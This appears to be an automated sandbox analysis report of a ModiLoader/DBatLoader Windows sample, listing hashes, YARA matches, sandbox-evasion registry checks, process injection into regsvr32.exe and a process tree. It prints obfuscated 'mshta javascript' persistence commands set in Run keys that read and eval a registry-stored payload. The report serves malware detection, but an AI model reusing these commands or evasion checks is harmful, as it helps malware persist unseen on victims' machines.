Analysis
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max time kernel
158s -
max time network
177s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
03-10-2022 00:27
Static task
static1
Behavioral task
behavioral1
Sample
f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe
Resource
win7-20220812-en
windows7-x64
15 signatures
150 seconds
Behavioral task
behavioral2
Sample
f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe
Resource
win10v2004-20220812-en
windows10-2004-x64
14 signatures
150 seconds
General
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Target
f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe
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Size
397KB
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MD5
673079422e9cf102e89bf071972d5985
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SHA1
712af64ac80c37c510c0391eaff1062cd63921a4
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SHA256
f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c
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SHA512
a6303b0d972013df7f25c3664cc9842a040dcfddcae3c6577841a1f656d0db094bdf1948097f3a252c0b079507d8b077c4ad8847fe23a852d8bfa5c0d69b5a61
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SSDEEP
6144:hCd7HxK7FmNeDBGw4hwrW33o2E3m3sQ+O/2MGbBEbr+K4cPOxAfQed3CoD1drsgp:0o2gm3sQVxGlEb2KOKQUfrsgBj3eUeW
Score
10/10
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 11 IoCs
resource yara_rule behavioral2/memory/4580-133-0x0000000000400000-0x000000000046A000-memory.dmp modiloader_stage2 behavioral2/memory/4580-134-0x0000000000060000-0x000000000012C000-memory.dmp modiloader_stage2 behavioral2/memory/4580-137-0x0000000000060000-0x000000000012C000-memory.dmp modiloader_stage2 behavioral2/memory/812-139-0x0000000000CA0000-0x0000000000D6C000-memory.dmp modiloader_stage2 behavioral2/memory/812-141-0x0000000000CA0000-0x0000000000D6C000-memory.dmp modiloader_stage2 behavioral2/memory/4940-143-0x0000000000A90000-0x0000000000B5C000-memory.dmp modiloader_stage2 behavioral2/memory/4632-146-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/2260-149-0x0000000000C10000-0x0000000000CDC000-memory.dmp modiloader_stage2 behavioral2/memory/2260-150-0x0000000000C10000-0x0000000000CDC000-memory.dmp modiloader_stage2 behavioral2/memory/4940-151-0x0000000000A90000-0x0000000000B5C000-memory.dmp modiloader_stage2 behavioral2/memory/4632-152-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:C1SNRube8I=\"Xk\";D3D3=new%20ActiveXObject(\"WScript.Shell\");ECM0gNz5l=\"Ms\";K6hZd=D3D3.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\f3bfcd2cf3\\\\914976cc\");i4XjrZe0=\"ZyNMBV7PBq\";eval(K6hZd);LApo9FMQZ=\"VNOEq2TBm\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:aMKJt4RW0=\"a6XeQo0j\";E7Q=new%20ActiveXObject(\"WScript.Shell\");HJRX3iP=\"OnLyi2\";I9TEt9=E7Q.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\f3bfcd2cf3\\\\914976cc\");QaR6w3DRB=\"A1\";eval(I9TEt9);akSL8ETd=\"YUbN\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:QNlqNf6j=\"xgEUIBV4f\";mR4=new%20ActiveXObject(\"WScript.Shell\");MTK8kP7GnC=\"rL\";nv6fC6=mR4.RegRead(\"HKCU\\\\software\\\\f3bfcd2cf3\\\\914976cc\");EYpLf19dhZ=\"Pzd2orx\";eval(nv6fC6);i5yOjft=\"cZqWONqSw\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 regsvr32.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
pid Process 4580 f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe 4580 f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe 4580 f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe 812 regsvr32.exe 812 regsvr32.exe 812 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe 4940 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeShutdownPrivilege 4580 f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe Token: SeCreatePagefilePrivilege 4580 f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4580 wrote to memory of 812 4580 f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe 78 PID 4580 wrote to memory of 812 4580 f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe 78 PID 4580 wrote to memory of 812 4580 f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe 78 PID 812 wrote to memory of 4940 812 regsvr32.exe 79 PID 812 wrote to memory of 4940 812 regsvr32.exe 79 PID 812 wrote to memory of 4940 812 regsvr32.exe 79 PID 4940 wrote to memory of 4632 4940 regsvr32.exe 84 PID 4940 wrote to memory of 4632 4940 regsvr32.exe 84 PID 4940 wrote to memory of 4632 4940 regsvr32.exe 84 PID 4940 wrote to memory of 2260 4940 regsvr32.exe 86 PID 4940 wrote to memory of 2260 4940 regsvr32.exe 86 PID 4940 wrote to memory of 2260 4940 regsvr32.exe 86
Processes
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C:\Users\Admin\AppData\Local\Temp\f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe"C:\Users\Admin\AppData\Local\Temp\f1a7766e3dc92f9dddbc25af4a5cb910c6301adc62d4d177cff53bde36d7db4c.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:4632
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2260
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